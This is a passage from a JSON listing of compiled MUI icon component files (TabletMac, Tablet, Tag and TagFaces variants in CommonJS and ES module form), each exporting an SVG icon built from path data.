    "path": "packages/mui-icons-material/lib/TabletMac.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 0h-14C3.12 0 2 1.12 2 2.5v19C2 22.88 3.12 24 4.5 24h14c1.38 0 2.5-1.12 2.5-2.5v-19C21 1.12 19.88 0 18.5 0m-7 23c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7.5-4H4V3h15z\"\n}), 'TabletMac');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletMac.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 0h-14C3.12 0 2 1.12 2 2.5v19C2 22.88 3.12 24 4.5 24h14c1.38 0 2.5-1.12 2.5-2.5v-19C21 1.12 19.88 0 18.5 0m-7 23c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7.5-4H4V3h15z\"\n}), 'TabletMac');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletMacOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 0h-14C3.12 0 2 1.12 2 2.5v19C2 22.88 3.12 24 4.5 24h14c1.38 0 2.5-1.12 2.5-2.5v-19C21 1.12 19.88 0 18.5 0m-7 23c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7.5-4H4V3h15z\"\n}), 'TabletMacOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletMacOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 0h-14C3.12 0 2 1.12 2 2.5v19C2 22.88 3.12 24 4.5 24h14c1.38 0 2.5-1.12 2.5-2.5v-19C21 1.12 19.88 0 18.5 0m-7 23c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7.5-4H4V3h15z\"\n}), 'TabletMacOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletMacRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 0h-14C3.12 0 2 1.12 2 2.5v19C2 22.88 3.12 24 4.5 24h14c1.38 0 2.5-1.12 2.5-2.5v-19C21 1.12 19.88 0 18.5 0m-7 23c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7.5-4H4V3h15z\"\n}), 'TabletMacRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletMacRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 0h-14C3.12 0 2 1.12 2 2.5v19C2 22.88 3.12 24 4.5 24h14c1.38 0 2.5-1.12 2.5-2.5v-19C21 1.12 19.88 0 18.5 0m-7 23c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7.5-4H4V3h15z\"\n}), 'TabletMacRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletMacSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 0H2v24h19zm-9.5 23c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7.5-4H4V3h15z\"\n}), 'TabletMacSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletMacSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 0H2v24h19zm-9.5 23c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7.5-4H4V3h15z\"\n}), 'TabletMacSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletMacTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 3h15v16H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 0h-14C3.12 0 2 1.12 2 2.5v19C2 22.88 3.12 24 4.5 24h14c1.38 0 2.5-1.12 2.5-2.5v-19C21 1.12 19.88 0 18.5 0m-7 23c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7.5-4H4V3h15z\"\n}, \"1\")], 'TabletMacTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletMacTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 3h15v16H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 0h-14C3.12 0 2 1.12 2 2.5v19C2 22.88 3.12 24 4.5 24h14c1.38 0 2.5-1.12 2.5-2.5v-19C21 1.12 19.88 0 18.5 0m-7 23c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7.5-4H4V3h15z\"\n}, \"1\")], 'TabletMacTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 1.99-.9 1.99-2L23 6c0-1.1-.9-2-2-2m-2 14H5V6h14z\"\n}), 'TabletOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 1.99-.9 1.99-2L23 6c0-1.1-.9-2-2-2m-2 14H5V6h14z\"\n}), 'TabletOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 1.99-.9 1.99-2L23 6c0-1.1-.9-2-2-2m-2 14H5V6h14z\"\n}), 'TabletRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 1.99-.9 1.99-2L23 6c0-1.1-.9-2-2-2m-2 14H5V6h14z\"\n}), 'TabletRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 4H1v16h21.99zm-4 14H5V6h14z\"\n}), 'TabletSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 4H1v16h21.99zm-4 14H5V6h14z\"\n}), 'TabletSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h14v12H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 1.99-.9 1.99-2L23 6c0-1.1-.9-2-2-2m-2 14H5V6h14z\"\n}, \"1\")], 'TabletTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h14v12H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 1.99-.9 1.99-2L23 6c0-1.1-.9-2-2-2m-2 14H5V6h14z\"\n}, \"1\")], 'TabletTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tag.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'Tag');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tag.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'Tag');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagFaces.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'TagFaces');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagFaces.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'TagFaces');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagFacesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'TagFacesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagFacesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'TagFacesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagFacesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m8.25 6.75c-.95 1.64-2.72 2.75-4.75 2.75s-3.8-1.11-4.75-2.75c-.19-.33.06-.75.44-.75h8.62c.39 0 .63.42.44.75M15.5 11c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'TagFacesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagFacesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m8.25 6.75c-.95 1.64-2.72 2.75-4.75 2.75s-3.8-1.11-4.75-2.75c-.19-.33.06-.75.44-.75h8.62c.39 0 .63.42.44.75M15.5 11c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'TagFacesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagFacesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 2C6.49 2 2.02 6.48 2.02 12s4.47 10 9.99 10c5.53 0 10.01-4.48 10.01-10S17.54 2 12.01 2m.01 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.35 8 15.52 8s-1.5.67-1.5 1.5.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.35 8 8.52 8s-1.5.67-1.5 1.5.67 1.5 1.5 1.5m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.91c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'TagFacesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagFacesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 2C6.49 2 2.02 6.48 2.02 12s4.47 10 9.99 10c5.53 0 10.01-4.48 10.01-10S17.54 2 12.01 2m.01 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.35 8 15.52 8s-1.5.67-1.5 1.5.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.35 8 8.52 8s-1.5.67-1.5 1.5.67 1.5 1.5 1.5m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.91c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'TagFacesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagFacesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3.5 4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"4\")], 'TagFacesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagFacesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3.5 4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"4\")], 'TagFacesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'TagOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'TagOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9c0-.55-.45-1-1-1h-3V5c0-.55-.45-1-1-1s-1 .45-1 1v3h-4V5c0-.55-.45-1-1-1s-1 .45-1 1v3H5c-.55 0-1 .45-1 1s.45 1 1 1h3v4H5c-.55 0-1 .45-1 1s.45 1 1 1h3v3c0 .55.45 1 1 1s1-.45 1-1v-3h4v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1h-3v-4h3c.55 0 1-.45 1-1m-6 5h-4v-4h4z\"\n}), 'TagRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9c0-.55-.45-1-1-1h-3V5c0-.55-.45-1-1-1s-1 .45-1 1v3h-4V5c0-.55-.45-1-1-1s-1 .45-1 1v3H5c-.55 0-1 .45-1 1s.45 1 1 1h3v4H5c-.55 0-1 .45-1 1s.45 1 1 1h3v3c0 .55.45 1 1 1s1-.45 1-1v-3h4v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1h-3v-4h3c.55 0 1-.45 1-1m-6 5h-4v-4h4z\"\n}), 'TagRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagSharp.js",
